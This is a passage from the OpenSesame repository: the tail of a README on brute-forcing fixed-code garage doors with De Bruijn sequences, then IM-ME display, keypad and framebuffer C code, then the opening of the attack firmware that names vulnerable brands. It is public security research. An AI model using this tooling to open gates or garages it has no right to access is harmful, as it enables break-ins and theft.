sequence of 8-12 bits in the least amount of time. How little time? 121 | 122 | To test every 8 through 12 bit possibility: 123 | **((2 \*\* 12) + 11) \* 4ms / 2 = 8214ms = 8.214 seconds** 124 | 125 | **We went from 1771 seconds down to 8 seconds. Even our most efficient implementation with the other reductions but without De Bruijn was at 177 seconds, more than 20 times longer. Awesome!** 126 | 127 | ----- 128 | 129 | # (U) Hardware 130 | 131 | ### IM-ME 132 | The IM-ME from Mattel is a defunct toy no longer produced, but constantly appearing on Amazon and eBay with varying prices from $12 to $100. To my knowledge, much of the reverse engineering of the LCD and keyboard is by [Dave](https://daveshacks.blogspot.com/2010/01/im-me-hacking.html), then tools and more work on it from [Travis Goodspeed](https://travisgoodspeed.blogspot.com/2010/03/im-me-goodfet-wiring-tutorial.html) including support in [GoodFET](https://goodfet.sourceforge.net/clients/goodfetcc/), and more awesome work, including my favorite spectrum analyzer, from [Michael Ossmann](https://ossmann.blogspot.com/2010/03/16-pocket-spectrum-analyzer.html). 133 | 134 | It is originally intended as a toy to communicate with friends. It uses the [CC1110](https://www.ti.com/product/cc1110-cc1111), a sub-GHz RF SoC, and sports an LCD display, backlight, keyboard, and is battery powered, all extremely useful for a hacker on the road texting her (or his) friends. Or hacking her (or his) friends. Hopefully both. 135 | 136 | Now we could have built our own device, but the beauty of this is that it's all already packaged up for you, inexpensive, and is my favorite color. 137 | 138 | ### GoodFET 139 | I use Travis Goodspeed's [GoodFET](https://goodfet.sourceforge.net/) device to program the IM-ME as he's built a tool to program it for us! 140 | 141 | ![GoodFET](https://samy.pl/opensesame/pics/IMG_2757.jpg) 142 | 143 | ### GIMME 144 | I ghetto-rigged some wire to the test pads and superglued the ends to always connect properly to the GoodFET, but you can also use the [GIMME](https://ossmann.blogspot.com/2012/10/programming-pink-pagers-in-style.html) from Michael Ossmann for a more convenient connector. 145 | 146 | ![OpenSesame Internals](https://samy.pl/opensesame/pics/back2.jpg) 147 | 148 | 149 | ----- 150 | 151 | # (U) Software 152 | 153 | ### OpenSesame 154 | OpenSesame source code can be obtained in entirety from my github: 155 | 156 | It is originally based off of Michael Ossmann's [opensesame](https://github.com/mossmann/im-me/tree/master/garage) which is specifically built for a fixed code on his garage, and the perfect example for a working OOK/ASK transmitter, handling most of the hardware work for us already. Also, the name was so great I had to use it, I hope Mike doesn't mind. 157 | 158 | If you haven't, check out his [spectrum analyzer](https://ossmann.blogspot.com/2010/03/16-pocket-spectrum-analyzer.html) for the IM-ME as I have a secondary IM-ME device loaded with that and it's the perfect portable, inexpensive spectrum analyzer. 159 | 160 | ### goodfet.cc 161 | As mentioned in the hardware section, we use GoodFET to load the code, and [goodfet.cc](https://goodfet.sourceforge.net/clients/goodfetcc/) specifically to load onto our Chipcon device (TI CC111x = Texas Instruments Chipcon111x) 162 | 163 | ----- 164 | 165 | # (U) Frequencies, Modulations, Encoders 166 | 167 | ### Frequencies 168 | The immediate assumption is that these fixed pin garages and gates span a wide range of frequencies. For example, [Wikipedia](https://en.wikipedia.org/wiki/Garage_door_opener#Remote_control) suggests these wireless devices span 300MHz - 400MHz, requiring us to send the same signal to 100 additional frequencies. However, after pulling the FCC docs of all of the fixed transmitters I could find, we see only a handful of frequencies are ever used, primarily **300MHz, 310MHz, 315MHz, 318MHz and 390MHz**. 169 | 170 | Additionally, most of these receivers lack any [band-pass filter](https://en.wikipedia.org/wiki/Band-pass_filter), allowing a wider range of frequencies to pass through, typically at least covering an additional 2MHz in my testing. 171 | 172 | ### Modulation 173 | You'll find that virtually all of these transmitters use ASK/OOK to transmit. Additionally, many of the receivers support interoperability by using the same OOK signaling. This can be confirmed by testing several garage door openers, going over the FCC documents for several transmitters, and noting the supported models in various garage door openers. 174 | 175 | ### Encoders 176 | Here's a list of encoders being used by most of these systems: 177 | 178 | PT2262, PT2264, SC2260, CS5211, PT2282, PT2240, eV1527, RT1527, FP527, HS527, SCL1527, MC145026, AX5326, VD5026, SMC926, SMC918, PLC168, HCS300, HCS301, HCS201 179 | 180 | 181 | ----- 182 | 183 | # (U) Resources 184 | There are a number of resources and tools, many of which I've learned from and that you can learn more on this and similar topic too. Suggested reading / tools in the area: 185 | 186 | * Other projects of mine in the direct area of RF: [KeySweeper](https://samy.pl/keysweeper/) (2.4GHz) and [Digital Ding Dong Ditch](https://samy.pl/dingdong) (sub-GHz) 187 | * Michael Ossmann's [IM-ME spectrum analyzer](https://ossmann.blogspot.com/2010/03/16-pocket-spectrum-analyzer.html) 188 | * Travis Goodspeed's [goodfet.cc / IM-ME wiring](https://travisgoodspeed.blogspot.com/2010/03/im-me-goodfet-wiring-tutorial.html) 189 | * Mike Ryan's [brain](https://lacklustre.net/) 190 | * Michael Ossmann's [HackRF](https://greatscottgadgets.com/hackrf/) 191 | * osmocom's [RTL-SDR](https://sdr.osmocom.org/trac/wiki/rtl-sdr) 192 | * atlas 0f d00m's [rfcat for IM-ME](https://bitbucket.org/atlas0fd00m/rfcat) 193 | * Michael Ossmann's [cc11xx tools](https://github.com/mossmann/cc11xx) 194 | * Dave's [IM-ME LCD hacking](https://daveshacks.blogspot.com/2010/01/im-me-lcd-interface-hacked.html) 195 | * Andrew Nohawk's [Hacking fixed key remotes](https://andrewmohawk.com/2012/09/06/hacking-fixed-key-remotes/) 196 | * Adam Laurie's [You can ring my bell](https://adamsblog.aperturelabs.com/2013/03/you-can-ring-my-bell-adventures-in-sub.html) 197 | * Vegard Haugland's [Hacking garage door remote controllers](https://v3gard.com/2014/12/hacking-garage-door-remote-controllers/) 198 | * TI's [CC111x](https://www.ti.com/product/cc1110-cc1111) [datasheet](https://www.ti.com/lit/gpn/cc1110-cc1111) 199 | * sdcc's [compiler user guide](https://sdcc.sourceforge.net/doc/sdccman.pdf) for the 8051 microcontroller 200 | * the man, the m[ay]themetician, the legend, [De Bruijn](https://en.wikipedia.org/wiki/Nicolaas_Govert_de_Bruijn) and his [sequence](https://en.wikipedia.org/wiki/De_Bruijn_sequence) 201 | 202 | ----- 203 | 204 | # (U) Contact 205 | 206 | **Point of Contact:** [@SamyKamkar](https://twitter.com/samykamkar) 207 | 208 | You can see more of my projects at or contact me at . 209 | 210 | ##### Follow me on [Twitter](https://twitter.com/samykamkar) or [join my mailing list](https://samy.pl/list/) to hear about future projects and research. 211 | 212 | Thanks! 213 | -------------------------------------------------------------------------------- /bits.h: -------------------------------------------------------------------------------- 1 | #define BIT0 0x01 2 | #define BIT1 0x02 3 | #define BIT2 0x04 4 | #define BIT3 0x08 5 | #define BIT4 0x10 6 | #define BIT5 0x20 7 | #define BIT6 0x40 8 | #define BIT7 0x80 9 | -------------------------------------------------------------------------------- /cc1110.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyk/opensesame/48b7d25c9d7aa3e2ac5cadfdcb2db1c78e001565/cc1110.h -------------------------------------------------------------------------------- /display.c: -------------------------------------------------------------------------------- 1 | /* 2 | * IM-Me display functions 3 | * 4 | * Copyright 2010 Dave - http://daveshacks.blogspot.com/2010/01/im-me-lcd-interface-hacked.html 5 | * Copyright 2010 Michael Ossmann 6 | * Copyright 2015-2020 Samy Kamkar 7 | * 8 | * This program is free software; you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License as published by 10 | * the Free Software Foundation; either version 2, or (at your option) 11 | * any later version. 12 | * 13 | * This program is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | * 18 | * You should have received a copy of the GNU General Public License 19 | * along with this program; see the file COPYING. If not, write to 20 | * the Free Software Foundation, Inc., 51 Franklin Street, 21 | * Boston, MA 02110-1301, USA. 22 | */ 23 | 24 | #include "types.h" 25 | #include 26 | #include 27 | #include "ioCCxx10_bitdef.h" 28 | #include "display.h" 29 | #include "bits.h" 30 | #include "5x7.h" 31 | #include 32 | 33 | void sleepMillis(int ms) { 34 | int j; 35 | while (--ms > 0) { 36 | for (j=0; j<1200;j++); // about 1 millisecond 37 | }; 38 | } 39 | 40 | void xtalClock() { // Set system clock source to 26 Mhz 41 | SLEEP &= ~SLEEP_OSC_PD; // Turn both high speed oscillators on 42 | while( !(SLEEP & SLEEP_XOSC_S) ); // Wait until xtal oscillator is stable 43 | CLKCON = (CLKCON & ~(CLKCON_CLKSPD | CLKCON_OSC)) | CLKSPD_DIV_1; // Select xtal osc, 26 MHz 44 | while (CLKCON & CLKCON_OSC); // Wait for change to take effect 45 | SLEEP |= SLEEP_OSC_PD; // Turn off the other high speed oscillator (the RC osc) 46 | } 47 | 48 | void UART_Init() 49 | { 50 | SCON = 0x50; /* configure serial */ 51 | TMOD = 0x20; /* configure timer */ 52 | TH1 = 0xE6; /* baud rate 1200 */ 53 | TL1 = 0xE6; /* baud rate 1200 */ 54 | TR1 = 1; /* enable timer */ 55 | TI = 1; /* enable transmitting */ 56 | RI = 0; /* waiting to receive */ 57 | } 58 | 59 | void setIOPorts() { 60 | // No need to set PERCFG or P2DIR as default values on reset are fine 61 | P0SEL |= (BIT5 | BIT3 ); // set SCK and MOSI as peripheral outputs 62 | P0DIR |= BIT4 | BIT2; // set SSN and A0 as outputs 63 | P1DIR |= BIT1; // set LCDRst as output 64 | P2DIR = BIT3 | BIT4; // set LEDs as outputs 65 | } 66 | 67 | // Set a clock rate of approx. 2.5 Mbps for 26 MHz Xtal clock 68 | #define SPI_BAUD_M 170 69 | #define SPI_BAUD_E 16 70 | 71 | void configureSPI() { 72 | U0CSR = 0; //Set SPI Master operation 73 | U0BAUD = SPI_BAUD_M; // set Mantissa 74 | U0GCR = U0GCR_ORDER | SPI_BAUD_E; // set clock on 1st edge, -ve clock polarity, MSB first, and exponent 75 | } 76 | 77 | void tx(unsigned char ch) { 78 | #ifndef SIMULATOR 79 | U0DBUF = ch; 80 | while(!(U0CSR & U0CSR_TX_BYTE)); // wait for byte to be transmitted 81 | U0CSR &= ~U0CSR_TX_BYTE; // Clear transmit byte status 82 | #endif 83 | } 84 | 85 | void txData(unsigned char ch) { 86 | A0 = HIGH; 87 | tx(ch); 88 | } 89 | 90 | void txCtl(unsigned char ch){ 91 | A0 = LOW; 92 | tx(ch); 93 | } 94 | 95 | void LCDReset(void) { 96 | LCDRst = LOW; // hold down the RESET line to reset the display 97 | sleepMillis(1); 98 | LCDRst = HIGH; 99 | SSN = LOW; 100 | /* initialization sequence from sniffing factory firmware */ 101 | txCtl(RESET); 102 | txCtl(SET_REG_RESISTOR); 103 | txCtl(VOLUME_MODE_SET); 104 | txCtl(0x60); /* contrast */ 105 | txCtl(DC_DC_CLOCK_SET); 106 | txCtl(0x00); /* fOSC (no division) */ 107 | txCtl(POWER_SUPPLY_ON); 108 | txCtl(ADC_REVERSE); 109 | txCtl(DISPLAY_ON); 110 | txCtl(ALL_POINTS_NORMAL); 111 | SSN = HIGH; 112 | } 113 | 114 | /* initiate sleep mode */ 115 | void LCDPowerSave() { 116 | txCtl(STATIC_INDIC_OFF); 117 | txCtl(DISPLAY_OFF); 118 | txCtl(ALL_POINTS_ON); // Display all Points on cmd = Power Save when following LCD off 119 | } 120 | 121 | void setCursor(unsigned char row, unsigned char col) { 122 | txCtl(SET_ROW | (row & 0x0f)); 123 | txCtl(SET_COL_LO | (col & 0x0f)); 124 | txCtl(SET_COL_HI | ( (col>>4) & 0x0f)); 125 | } 126 | 127 | void setDisplayStart(unsigned char start) { 128 | txCtl(0x40 | (start & 0x3f)); // set Display start address 129 | } 130 | 131 | void setNormalReverse(unsigned char normal) { // 0 = Normal, 1 = Reverse 132 | txCtl(DISPLAY_NORMAL | (normal & 0x01) ); 133 | } 134 | 135 | /* print inverted string on screen (dark background) */ 136 | void printrl(u8 line, char *str) 137 | { 138 | reverseTxt = 1; 139 | printlc(line, 0, str); 140 | reverseTxt = 0; 141 | } 142 | 143 | /* print inverted string on screen (dark background)*/ 144 | void printrlc(u8 line, u8 col, char *str) 145 | { 146 | reverseTxt = 1; 147 | printlc(line, col, str); 148 | reverseTxt = 0; 149 | } 150 | 151 | /* print string on screen */ 152 | void printl(u8 line, char *str) 153 | { 154 | printlc(line, 0, str); 155 | } 156 | 157 | /* print string on screen */ 158 | void printlc(u8 line, u8 col, char *str) 159 | { 160 | #ifdef SIMULATOR 161 | pp(str); 162 | #else 163 | SSN = LOW; 164 | setCursor(line, col * 6); 165 | printf(str); 166 | SSN = HIGH; 167 | #endif 168 | } 169 | 170 | /* print string on screen */ 171 | /* 172 | void print(u8 line, char *str, ...) 173 | { 174 | va_list argptr; 175 | va_start(argptr, str); 176 | SSN = LOW; 177 | setCursor(line, 0); 178 | vprintf(str, argptr); 179 | SSN = HIGH; 180 | va_end(argptr); 181 | } 182 | */ 183 | 184 | /* clear all LCD pixels */ 185 | void clear() { 186 | u8 row; 187 | u8 col; 188 | 189 | SSN = LOW; 190 | setDisplayStart(0); 191 | 192 | /* normal display mode (not inverted) */ 193 | setNormalReverse(0); 194 | 195 | for (row = 0; row <= 9; row++) 196 | { 197 | setCursor(row, 0); 198 | for (col = 0; col < WIDTH; col++) 199 | txData(0x00); 200 | } 201 | 202 | SSN = HIGH; 203 | } 204 | 205 | /* sdcc provides printf if we provide this */ 206 | PUTCHAR_TYPE putchar(char c) 207 | { 208 | #ifdef SIMULATOR 209 | while (!TI); /* wait end of last transmission */ 210 | TI = 0; 211 | SBUF = c; /* transmit to serial */ 212 | #else 213 | u8 i; 214 | 215 | c &= 0x7f; 216 | 217 | if (c >= FONT_OFFSET) 218 | { 219 | for (i = 0; i < FONT_WIDTH; i++) 220 | txData(font[c - FONT_OFFSET][i] ^ (reverseTxt ? 0xff : 0)); 221 | txData(reverseTxt ? 0xff : 0x00); 222 | } 223 | #endif 224 | #ifdef PUTCHAR_INT 225 | return c; 226 | #endif 227 | } 228 | -------------------------------------------------------------------------------- /display.h: -------------------------------------------------------------------------------- 1 | /* 2 | * IM-Me display functions 3 | * 4 | * Copyright 2010 Dave - http://daveshacks.blogspot.com/2010/01/im-me-lcd-interface-hacked.html 5 | * Copyright 2010 Michael Ossmann 6 | * Copyright 2015-2020 Samy Kamkar 7 | * 8 | * This program is free software; you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License as published by 10 | * the Free Software Foundation; either version 2, or (at your option) 11 | * any later version. 12 | * 13 | * This program is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | * 18 | * You should have received a copy of the GNU General Public License 19 | * along with this program; see the file COPYING. If not, write to 20 | * the Free Software Foundation, Inc., 51 Franklin Street, 21 | * Boston, MA 02110-1301, USA. 22 | */ 23 | 24 | #include "types.h" 25 | 26 | // sdcc 3.7.0+ uses int putchar 27 | #if (SDCC_VERSION_HI == 3 && SDCC_VERSION_LO >= 7) || (SDCC_VERSION_HI >= 4) 28 | #define PUTCHAR_INT 29 | #define PUTCHAR_TYPE int 30 | #else 31 | #define PUTCHAR_TYPE void 32 | #endif 33 | 34 | static volatile __bit reverseTxt = 0; 35 | 36 | #define LOW 0 37 | #define HIGH 1 38 | 39 | #define WIDTH 132 40 | #define HEIGHT 65 41 | 42 | #define DISPLAY_ON 0xaf 43 | #define DISPLAY_OFF 0xae 44 | 45 | #define SET_ROW 0xb0 46 | #define SET_COL_LO 0x00 47 | #define SET_COL_HI 0x10 48 | #define SET_START_LINE 0x40 49 | 50 | #define ADC_NORMAL 0xa0 51 | #define ADC_REVERSE 0xa1 52 | #define DISPLAY_NORMAL 0xa6 53 | #define DISPLAY_REVERSE 0xa7 54 | #define ALL_POINTS_NORMAL 0xa4 55 | #define ALL_POINTS_ON 0xa5 56 | #define BIAS_RATIO_9 0xa2 57 | #define BIAS_RATIO_7 0xa3 58 | #define READ_MODIFY_WRITE 0xe0 59 | #define END_RMW 0xee 60 | #define RESET 0xe2 61 | //missing common output mode select 62 | #define POWER_SUPPLY_OFF 0x28 63 | #define POWER_SUPPLY_ON 0x2f 64 | #define SET_REG_RESISTOR 0x24 65 | #define VOLUME_MODE_SET 0x81 66 | #define STATIC_INDIC_OFF 0xac 67 | #define STATIC_INDIC_ON 0xad 68 | //missing booster ratio select 69 | #define NOP 0xe3 70 | #define OUTPUT_STATUS_SEL 0xc0 71 | #define TEST_RESET 0xf0 72 | #define OSC_FREQ_314 0xe4 73 | #define OSC_FREQ_263 0xe5 74 | #define NORMAL_DISPLAY 0x82 75 | #define PARTIAL_DISPLAY 0x83 76 | #define DC_DC_CLOCK_SET 0xe6 77 | 78 | void sleepMillis(int ms); 79 | 80 | void xtalClock(); 81 | 82 | // IO Port Definitions: 83 | #define A0 P0_2 84 | #define SSN P0_4 85 | #define LCDRst P1_1 86 | #define LED_RED P2_3 87 | #define LED_GREEN P2_4 88 | // plus SPI ports driven from USART0 are: 89 | // MOSI P0_3 90 | // SCK P0_5 91 | 92 | void setIOPorts(); 93 | 94 | void configureSPI(); 95 | 96 | void tx(unsigned char ch); 97 | 98 | void txData(unsigned char ch); 99 | 100 | void txCtl(unsigned char ch); 101 | 102 | void LCDReset(void); 103 | 104 | void LCDPowerSave(); 105 | 106 | void setCursor(unsigned char row, unsigned char col); 107 | 108 | void setDisplayStart(unsigned char start); 109 | 110 | void setNormalReverse(unsigned char normal); 111 | 112 | void printrlc(u8 line, u8 col, char *str); 113 | void printrl(u8 line, char *str); 114 | void printlc(u8 line, u8 col, char *str); 115 | void printl(u8 line, char *str); 116 | void print(u8 line, char *str, ...); 117 | 118 | void clear(); 119 | void UART_Init(); 120 | 121 | #ifndef LOCAL 122 | PUTCHAR_TYPE putchar(char c); 123 | #endif 124 | -------------------------------------------------------------------------------- /fbuffer.c: -------------------------------------------------------------------------------- 1 | /*! \file fbuffer.c 2 | \author Travis Goodspeed 3 | \brief IMME FrameBuffer 4 | */ 5 | 6 | #include "types.h" 7 | #include "fbuffer.h" 8 | #include 9 | #include "display.h" 10 | 11 | #define FBWIDTH 132 12 | #define FBHEIGHT 64 13 | 14 | //It's ugly to grab data like this, consumed 1kB of RAM. 15 | __xdata u8 fbuffer[FBHEIGHT //eight stripes 16 | *FBWIDTH //132 pixels wide 17 | /8 //8 pixels/bit 18 | ]; 19 | 20 | //! Clear the FB. 21 | void fb_blank(){ 22 | u16 i; 23 | for(i=0;i>1) 49 | |(fb_getpixel(x,y+r)?0x80:0); 50 | } 51 | txData(col); 52 | } 53 | } 54 | 55 | SSN=HIGH; 56 | } 57 | 58 | //! Draw a horizontal line. 59 | void fb_horizline(u16 x, u16 y, u16 xp){ 60 | while(x 21 | #include "keys.h" 22 | #include "types.h" 23 | #include "bits.h" 24 | 25 | static u8 active_key; 26 | 27 | //8 rows, 10 columns 28 | __code const u8 keychars[] = { 29 | //gnd 0_1 1_2 1_3 1_4 1_5 1_6 1_7 0_6 0_7 30 | 31 | //row 0, gnd 32 | 0x00, 0x00, 'O', 'K', 'N', 'M', KPWR, 'P', 0x00, 0x00, 33 | //row 1 34 | 0x00, 0x00, 'Y', 'G', 'C', ' ', '<', ',', KMNU, '>', 35 | //row 2 36 | 0x00, 0x00, 0x00, 'Q', 'W', 'E', 'R', 'T', 'U', 'I', 37 | //row 3 38 | 0x00, 0x00, 0x00, 0x00, 'A', 'S', 'D', 'F', 'H', 'J', 39 | //row 4 40 | 0x00, 0x00, 0x00, 0x00, 0x00, KCAP, 'Z', 'X', 'V', 'B', 41 | //row 5 42 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, KSPK, KALT, KONL, KBACK, 43 | //row 6 44 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, KBYE, KDWN, '^', 45 | //row 7 46 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, '\n', 'L' 47 | }; 48 | 49 | #define KEY(row,col) keychars[row*10+col] 50 | 51 | u8 realkeyscan(){ 52 | u8 row, col; 53 | 54 | //All input 55 | P0DIR &= ~(BIT1+BIT6+BIT7); 56 | P1DIR &= ~(BIT2+BIT3+BIT4+BIT5+BIT6+BIT7); 57 | P0 |= BIT1+BIT6+BIT7; 58 | P1 |= BIT2+BIT3+BIT4+BIT5+BIT6+BIT7; 59 | 60 | for(row=0;row<8;row++){ 61 | col=row;//nothing 62 | switch(row){ 63 | case 0://ground 64 | default: 65 | break; 66 | case 1: //P0_1 67 | P0DIR|=BIT1; 68 | P0&=~BIT1; 69 | break; 70 | case 2: //P1_2 71 | P1DIR|=BIT2; 72 | P1&=~BIT2; 73 | break; 74 | case 3: //P1_3 75 | P1DIR|=BIT3; 76 | P1&=~BIT3; 77 | break; 78 | case 4: //p1_4 79 | P1DIR|=BIT4; 80 | P1&=~BIT4; 81 | break; 82 | case 5: //p1_5 83 | P1DIR|=BIT5; 84 | P1&=~BIT5; 85 | break; 86 | case 6: //P1_6 87 | P1DIR|=BIT6; 88 | P1&=~BIT6; 89 | break; 90 | case 7: //P1_7 91 | P1DIR|=BIT7; 92 | P1&=~BIT7; 93 | break; 94 | } 95 | 96 | if(~P0&BIT1) col=1; 97 | if(~P1&BIT2) col=2; 98 | if(~P1&BIT3) col=3; 99 | if(~P1&BIT4) col=4; 100 | if(~P1&BIT5) col=5; 101 | if(~P1&BIT6) col=6; 102 | if(~P1&BIT7) col=7; 103 | if(~P0&BIT6) col=8; 104 | if(~P0&BIT7) col=9; 105 | 106 | if(col!=row) return KEY(row,col); 107 | } 108 | 109 | return '\0'; 110 | } 111 | 112 | //! Returns the debounced character press. 113 | u8 keyscan(){ 114 | u8 key=realkeyscan(); 115 | //debounce 116 | while(key!=realkeyscan()) 117 | key=realkeyscan(); 118 | 119 | //All input 120 | P0DIR &= ~(BIT1+BIT6+BIT7); 121 | P1DIR &= ~(BIT2+BIT3+BIT4+BIT5+BIT6+BIT7); 122 | P0 |= BIT1+BIT6+BIT7; 123 | P1 |= BIT2+BIT3+BIT4+BIT5+BIT6+BIT7; 124 | 125 | return key; 126 | } 127 | 128 | /* non-blocking check for a keypress */ 129 | u8 getkey() { 130 | u8 key = keyscan(); 131 | 132 | /* keep track of key currently pressed to avoid rapid repeating */ 133 | if (key != active_key) 134 | active_key = key; 135 | else 136 | key = 0x00; 137 | 138 | return key; 139 | } 140 | -------------------------------------------------------------------------------- /keys.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2010 Travis Goodspeed, Michael Ossmann 3 | * 4 | * This program is free software; you can redistribute it and/or modify 5 | * it under the terms of the GNU General Public License as published by 6 | * the Free Software Foundation; either version 2, or (at your option) 7 | * any later version. 8 | * 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * 14 | * You should have received a copy of the GNU General Public License 15 | * along with this program; see the file COPYING. If not, write to 16 | * the Free Software Foundation, Inc., 51 Franklin Street, 17 | * Boston, MA 02110-1301, USA. 18 | */ 19 | 20 | #include "types.h" 21 | 22 | u8 keyscan(); 23 | u8 getkey(); 24 | 25 | // for sleeping 26 | #define DEBOUNCE_COUNT 4 27 | #define DEBOUNCE_PERIOD 50 28 | 29 | //Special keys. 30 | #define KPWR 0x01 31 | #define KMNU 0x03 32 | #define KCAP 0x82 33 | #define KSPK 0x83 34 | #define KALT 0x84 35 | #define KONL 0x85 36 | #define KBACK 0x86 37 | #define KDWN 0x87 38 | #define KBYE 0x02 39 | -------------------------------------------------------------------------------- /opensesame.c: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenSesame - Fixed-Code Garage/Gate Hacking Toolkit 3 | * by Samy Kamkar 4 | * http://samy.pl/opensesame 5 | * 6 | * Exploits small keyspace and a new vulnerability in garages/gates systems from: 7 | * Chamberlain, Linear, Multi-code, Stanley, Moore-o-Matic, NSCD/North Shore Commercial Door 8 | * 9 | * built on the shoulders of giants: 10 | * based off of opensesame/specan by Michael Ossmann, 11 | * sprite/key code by Travis Goodspeed, 12 | * LCD code by Dave 13 | * 14 | * This tool exploits an inherent weakness in most fixed code 15 | * garages doors to open them in seconds using a child's toy. 16 | * 17 | * Besides having common frequencies, baudrates, and modulation 18 | * schemes built in or quickly definable (garages.h), this tool 19 | * reduces a garage's code/pin keyspace by over 95%! 20 | * 21 | * For example, to brute force a 12-bit binary dipswitch remote, 22 | * (4096 12-bit combos + 4096 12-bit wait times) requires 98304 bits, 23 | * while my method only requires 4105 bits, 4.2% of the total time. 24 | * 25 | * 26 | * This is accomplished by: 27 | * a) producing a De Bruijn sequence of all possible *overlapping* 28 | * combos (reducing >90%), exploiting pin testing shift registers 29 | * b) removing wait periods between transmitted codes (reduces 50%) 30 | * 31 | * The De Bruijn sequence is the magic. As an example, if a garage 32 | * only accepted a 3-bit code, it would require 24 bits to brute force 33 | * the entire keyspace. However, the 10 bit de bruijn sequence 34 | * "0001011100" actually contains all possible 3-bit codes, but 35 | * overlapping. Most garage/entrygate systems use a shift register, 36 | * only popping a single bit off rather than the entire code out, 37 | * before pulling in a new bit, at which point the newly constructed 38 | * code is retested. As the bit sequence becomes longer, the percent 39 | * reduction actually increases. 40 | * 41 | * To brute force 12 bits (4096 12-bit combos + 4096 12-bit wait times) 42 | * requires 98304 bits, while the De Bruijn sequence requires 4105 bits 43 | * (4.2% of the required time to brute force the entire 12 bit keyspace). 44 | * 45 | * See `garages.h` for list of garages, or to add your own. 46 | * 47 | * Built for the Mattel IM-ME / CC1110. 48 | * 49 | * Copyright 2014-2015 Samy Kamkar 50 | * Copyright 2010 Michael Ossmann, Travis Goodspeed, Dave 51 | * See LICENSE/COPYING file 52 | * 53 | * DEVELOPERS: 54 | * you can add more methods in garages.h 55 | * 56 | * 57 | */ 58 | 59 | /* 60 | * todo: 61 | * anything that says /TODO/ 62 | * support setting txFast to 1 in realuserland 63 | * selectable garage array 64 | * customizable db sequence/params? 65 | * build in mossmann's specan? 66 | * don't send so much on last packet (change pkt len) 67 | */ 68 | 69 | /* Notes: 70 | * LOCAL is defined when compiling via gcc for local testing 71 | * SIMULATOR is defined when using s51 (ucsim), an 8051 simulator 72 | */ 73 | 74 | #include "types.h" 75 | #ifndef LOCAL 76 | #include 77 | #endif 78 | #include 79 | #include "ioCCxx10_bitdef.h" 80 | #include "display.h" 81 | #include "keys.h" 82 | #include "garages.h" 83 | #include "rf.h" 84 | #include "fbuffer.h" 85 | #include "zsprites.h" 86 | #include "pm.h" 87 | 88 | #define title printl(0, " OpenSesame 1.0") 89 | #define HIBYTE(a) (u8) ((u16)(a) >> 8 ) 90 | #define LOBYTE(a) (u8) (u16)(a) 91 | 92 | #define SET_WORD(regH, regL, word) \ 93 | do { \ 94 | (regH) = HIBYTE( word ); \ 95 | (regL) = LOBYTE( word ); \ 96 | } while (0) 97 | 98 | /* note sdcc wants reverse bit order from datasheet */ 99 | typedef struct { 100 | u8 SRCADDRH; 101 | u8 SRCADDRL; 102 | u8 DESTADDRH; 103 | u8 DESTADDRL; 104 | u8 LENH : 5; 105 | u8 VLEN : 3; 106 | 107 | u8 LENL : 8; 108 | 109 | u8 TRIG : 5; 110 | u8 TMODE : 2; 111 | u8 WORDSIZE : 1; 112 | 113 | u8 PRIORITY : 2; 114 | u8 M8 : 1; 115 | u8 IRQMASK : 1; 116 | u8 DESTINC : 2; 117 | u8 SRCINC : 2; 118 | } DMA_DESC; 119 | 120 | __xdata static volatile u8 txdone = 1; 121 | __xdata static volatile u8 ni = 0; 122 | 123 | __xdata DMA_DESC dmaConfig; 124 | __xdata u8 realbuf[MAXLEN+1]; 125 | __bit sleepy = 0; 126 | __bit txFast = 0; 127 | 128 | extern u8 _garage_id = 0; 129 | 130 | void setup_dma_tx() 131 | { 132 | // forum guy used high priority and repeated single mode (TMODE = 2) 133 | dmaConfig.PRIORITY = 2; // high priority 134 | dmaConfig.M8 = 0; // not applicable 135 | dmaConfig.IRQMASK = 0; // disable interrupts 136 | dmaConfig.TRIG = 19; // radio 137 | dmaConfig.TMODE = 2; // repeated single mode 138 | dmaConfig.WORDSIZE = 0; // one byte words; 139 | dmaConfig.VLEN = 0; // use LEN 140 | SET_WORD(dmaConfig.LENH, dmaConfig.LENL, MAXLEN); 141 | 142 | SET_WORD(dmaConfig.SRCADDRH, dmaConfig.SRCADDRL, realbuf); 143 | SET_WORD(dmaConfig.DESTADDRH, dmaConfig.DESTADDRL, &X_RFD); 144 | dmaConfig.SRCINC = 1; // increment by one 145 | dmaConfig.DESTINC = 0; // do not increment 146 | 147 | SET_WORD(DMA0CFGH, DMA0CFGL, &dmaConfig); 148 | 149 | return; 150 | } 151 | 152 | void setup() 153 | { 154 | #ifdef SIMULATOR 155 | UART_Init(); 156 | #else 157 | xtalClock(); 158 | setIOPorts(); 159 | configureSPI(); 160 | LCDReset(); 161 | 162 | /* IF setting */ 163 | FSCTRL1 = 0x06; 164 | FSCTRL0 = 0x00; 165 | 166 | /* DC blocking enabled, OOK/ASK */ 167 | MDMCFG2 = 0x30; // no preamble/sync 168 | 169 | /* no FEC, 4 byte preamble, default channel spacing */ 170 | MDMCFG1 = 0x22; 171 | MDMCFG0 = 0xF8; 172 | 173 | FREND1 = 0x56; // Front end RX configuration. 174 | FREND0 = 0x11; // Front end RX configuration. 175 | 176 | /* automatic frequency calibration */ 177 | MCSM0 = 0x14; 178 | //MCSM2 ? 179 | MCSM1 = 0x30; // TXOFF_MODE = IDLE 180 | 181 | FSCAL3 = 0xE9; // Frequency synthesizer calibration. 182 | FSCAL2 = 0x2A; // Frequency synthesizer calibration. 183 | FSCAL1 = 0x00; // Frequency synthesizer calibration. 184 | FSCAL0 = 0x1F; // Frequency synthesizer calibration. 185 | TEST2 = 0x88; // 